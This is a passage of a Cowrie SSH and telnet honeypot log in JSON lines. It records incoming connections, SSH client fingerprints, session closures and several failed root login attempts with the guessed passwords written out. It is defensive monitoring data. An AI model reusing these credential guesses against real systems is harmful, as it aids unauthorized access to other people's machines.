,"ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:22.066793Z","src_ip":"5.182.83.231","session":"09197e762345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.16454863548279,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:22.133694Z","src_ip":"45.63.42.31","session":"60bcf3c1634c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.309547901153564,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:22.392045Z","src_ip":"45.63.42.31","session":"97face2d02f7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123456789@","message":"login attempt [root/qaz123456789@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:22.564548Z","src_ip":"5.182.83.231","session":"09197e762345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46130,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7caa45655ff","protocol":"telnet","message":"New connection: 45.63.42.31:46130 (10.17.0.5:23) [session: e7caa45655ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:22.757827Z"}
{"eventid":"cowrie.session.closed","duration":39.30486178398132,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:23.379336Z","src_ip":"103.115.172.252","session":"7b674c8e5586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:23.685102Z","src_ip":"5.182.83.231","session":"09197e762345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.076616525650024,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:26.770730Z","src_ip":"45.63.42.31","session":"3048b5855ad3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":36614,"dst_ip":"10.17.0.5","dst_port":23,"session":"684ed93f79e7","protocol":"telnet","message":"New connection: 45.63.42.31:36614 (10.17.0.5:23) [session: 684ed93f79e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:29.011966Z"}
{"eventid":"cowrie.session.closed","duration":33.20658469200134,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:40.904835Z","src_ip":"45.63.42.31","session":"c8e12f2ee55e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.3916597366333,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:50.252457Z","src_ip":"45.63.42.31","session":"6fec3b59f74f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.54496788978577,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:52.873518Z","src_ip":"45.63.42.31","session":"0c6a147d39f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33184,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd1569e8afcf","protocol":"telnet","message":"New connection: 45.63.42.31:33184 (10.17.0.5:23) [session: cd1569e8afcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:56.238025Z"}
{"eventid":"cowrie.session.closed","duration":33.67689251899719,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:56.434613Z","src_ip":"45.63.42.31","session":"e7caa45655ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.29207253456116,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:07.303863Z","src_ip":"45.63.42.31","session":"684ed93f79e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":42458,"dst_ip":"10.17.0.5","dst_port":23,"session":"43847b3b3414","protocol":"telnet","message":"New connection: 103.115.172.252:42458 (10.17.0.5:23) [session: 43847b3b3414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:07.711666Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38042,"dst_ip":"10.17.0.5","dst_port":23,"session":"09f5a0452859","protocol":"telnet","message":"New connection: 45.63.42.31:38042 (10.17.0.5:23) [session: 09f5a0452859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:11.050964Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38980,"dst_ip":"10.17.0.5","dst_port":23,"session":"38f002c8a522","protocol":"telnet","message":"New connection: 45.63.42.31:38980 (10.17.0.5:23) [session: 38f002c8a522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:11.529493Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":46142,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff533f6f43c","protocol":"telnet","message":"New connection: 103.115.172.252:46142 (10.17.0.5:23) [session: 6ff533f6f43c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:15.189529Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55990,"dst_ip":"10.17.0.5","dst_port":23,"session":"c02f4a5968fe","protocol":"telnet","message":"New connection: 45.63.42.31:55990 (10.17.0.5:23) [session: c02f4a5968fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:20.901119Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":39848,"dst_ip":"159.203.135.109","dst_port":23,"session":"124ec399b2e0","protocol":"telnet","message":"New connection: 45.14.224.154:39848 (159.203.135.109:23) [session: 124ec399b2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:26.847624Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41438,"dst_ip":"10.17.0.5","dst_port":23,"session":"884be8906df8","protocol":"telnet","message":"New connection: 45.63.42.31:41438 (10.17.0.5:23) [session: 884be8906df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:27.772598Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":41484,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcd3e741d54d","protocol":"ssh","message":"New connection: 114.141.59.195:41484 (159.203.135.109:22) [session: fcd3e741d54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:29.792077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:29.803008Z","src_ip":"114.141.59.195","session":"fcd3e741d54d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:30.049425Z","src_ip":"114.141.59.195","session":"fcd3e741d54d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.942851543426514,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:30.180788Z","src_ip":"45.63.42.31","session":"cd1569e8afcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":39854,"dst_ip":"159.203.135.109","dst_port":23,"session":"46801f5a1e23","protocol":"telnet","message":"New connection: 45.14.224.154:39854 (159.203.135.109:23) [session: 46801f5a1e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:30.508714Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome","message":"login attempt [root/Welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:31.067731Z","src_ip":"114.141.59.195","session":"fcd3e741d54d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:32.326798Z","src_ip":"114.141.59.195","session":"fcd3e741d54d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":54800,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fcdb40f1802","protocol":"telnet","message":"New connection: 45.63.42.31:54800 (10.17.0.5:23) [session: 5fcdb40f1802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:35.308582Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40946,"dst_ip":"10.17.0.5","dst_port":23,"session":"290973a0e645","protocol":"telnet","message":"New connection: 45.63.42.31:40946 (10.17.0.5:23) [session: 290973a0e645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:41.726518Z"}
{"eventid":"cowrie.session.closed","duration":35.36859369277954,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:46.419415Z","src_ip":"45.63.42.31","session":"09f5a0452859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.904170513153076,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:47.433527Z","src_ip":"45.63.42.31","session":"38f002c8a522","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":55884,"dst_ip":"159.203.135.109","dst_port":23,"session":"12f1ff64b594","protocol":"telnet","message":"New connection: 45.14.224.154:55884 (159.203.135.109:23) [session: 12f1ff64b594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:51.393614Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":59144,"dst_ip":"159.203.135.109","dst_port":23,"session":"86bc31412003","protocol":"telnet","message":"New connection: 45.14.224.154:59144 (159.203.135.109:23) [session: 86bc31412003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:52.232041Z"}
{"eventid":"cowrie.session.closed","duration":40.9552960395813,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:56.144717Z","src_ip":"103.115.172.252","session":"6ff533f6f43c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.283281087875366,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:56.184235Z","src_ip":"45.63.42.31","session":"c02f4a5968fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21597909927368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:57.063449Z","src_ip":"45.14.224.154","session":"124ec399b2e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.60.13.41","src_port":51456,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2fb17232c02","protocol":"telnet","message":"New connection: 27.60.13.41:51456 (10.17.0.5:23) [session: e2fb17232c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:58.218717Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":59154,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a6a42c4ab2d","protocol":"telnet","message":"New connection: 45.14.224.154:59154 (159.203.135.109:23) [session: 9a6a42c4ab2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:50:59.774148Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":59166,"dst_ip":"159.203.135.109","dst_port":23,"session":"c67ef524251a","protocol":"telnet","message":"New connection: 45.14.224.154:59166 (159.203.135.109:23) [session: c67ef524251a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:01.008402Z"}
{"eventid":"cowrie.session.closed","duration":30.563714504241943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:01.072293Z","src_ip":"45.14.224.154","session":"46801f5a1e23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.59405708312988,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:01.305587Z","src_ip":"103.115.172.252","session":"43847b3b3414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.64230465888977,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:03.414771Z","src_ip":"45.63.42.31","session":"884be8906df8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.5669219493866,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:08.875395Z","src_ip":"45.63.42.31","session":"5fcdb40f1802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":55460,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cbb180c92af","protocol":"telnet","message":"New connection: 45.14.224.154:55460 (159.203.135.109:23) [session: 0cbb180c92af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:12.106303Z"}
{"eventid":"cowrie.session.closed","duration":15.530503749847412,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:13.749106Z","src_ip":"27.60.13.41","session":"e2fb17232c02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.942116260528564,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:17.668484Z","src_ip":"45.63.42.31","session":"290973a0e645","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":55462,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a324b7d008f","protocol":"telnet","message":"New connection: 45.14.224.154:55462 (159.203.135.109:23) [session: 5a324b7d008f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:20.172441Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":55466,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6f67776ddd6","protocol":"telnet","message":"New connection: 45.14.224.154:55466 (159.203.135.109:23) [session: d6f67776ddd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:20.487167Z"}
{"eventid":"cowrie.session.closed","duration":30.683537006378174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:22.076955Z","src_ip":"45.14.224.154","session":"12f1ff64b594","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84630537033081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:23.078000Z","src_ip":"45.14.224.154","session":"86bc31412003","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":36148,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a5ea60b3f0a","protocol":"telnet","message":"New connection: 45.14.224.154:36148 (159.203.135.109:23) [session: 8a5ea60b3f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:24.631236Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40564,"dst_ip":"10.17.0.5","dst_port":23,"session":"593b3d4899f5","protocol":"telnet","message":"New connection: 45.63.42.31:40564 (10.17.0.5:23) [session: 593b3d4899f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:25.275800Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":44968,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1b26ba69ae4","protocol":"telnet","message":"New connection: 103.115.172.252:44968 (10.17.0.5:23) [session: a1b26ba69ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:29.541846Z"}
{"eventid":"cowrie.session.closed","duration":30.273750066757202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:30.048020Z","src_ip":"45.14.224.154","session":"9a6a42c4ab2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":36160,"dst_ip":"159.203.135.109","dst_port":23,"session":"4aa2dc2246ea","protocol":"telnet","message":"New connection: 45.14.224.154:36160 (159.203.135.109:23) [session: 4aa2dc2246ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:31.309877Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":36166,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca14e4c5351e","protocol":"telnet","message":"New connection: 45.14.224.154:36166 (159.203.135.109:23) [session: ca14e4c5351e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:31.382465Z"}
{"eventid":"cowrie.session.closed","duration":31.069831371307373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:32.078123Z","src_ip":"45.14.224.154","session":"c67ef524251a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":46280,"dst_ip":"159.203.135.109","dst_port":22,"session":"5602da68602a","protocol":"ssh","message":"New connection: 191.255.52.36:46280 (159.203.135.109:22) [session: 5602da68602a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:36.257649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:36.313870Z","src_ip":"191.255.52.36","session":"5602da68602a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":42806,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bec09e916fe","protocol":"telnet","message":"New connection: 45.14.224.154:42806 (159.203.135.109:23) [session: 0bec09e916fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:36.414167Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:36.445484Z","src_ip":"191.255.52.36","session":"5602da68602a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd88","message":"login attempt [root/p@ssw0rd88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:37.019506Z","src_ip":"191.255.52.36","session":"5602da68602a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:38.217247Z","src_ip":"191.255.52.36","session":"5602da68602a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":47202,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e75abfcac18","protocol":"telnet","message":"New connection: 103.115.172.252:47202 (10.17.0.5:23) [session: 0e75abfcac18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:38.721847Z"}
{"eventid":"cowrie.session.closed","duration":30.9398992061615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:43.046005Z","src_ip":"45.14.224.154","session":"0cbb180c92af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":48872,"dst_ip":"10.17.0.5","dst_port":23,"session":"798d31ada0e7","protocol":"telnet","message":"New connection: 103.115.172.252:48872 (10.17.0.5:23) [session: 798d31ada0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:46.242111Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":35490,"dst_ip":"159.203.135.109","dst_port":23,"session":"a98a36e82b34","protocol":"telnet","message":"New connection: 45.14.224.154:35490 (159.203.135.109:23) [session: a98a36e82b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:48.629166Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":35502,"dst_ip":"159.203.135.109","dst_port":23,"session":"740cd6358726","protocol":"telnet","message":"New connection: 45.14.224.154:35502 (159.203.135.109:23) [session: 740cd6358726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:49.138188Z"}
{"eventid":"cowrie.session.closed","duration":30.55912470817566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:51.046207Z","src_ip":"45.14.224.154","session":"d6f67776ddd6","protocol":"telnet"}
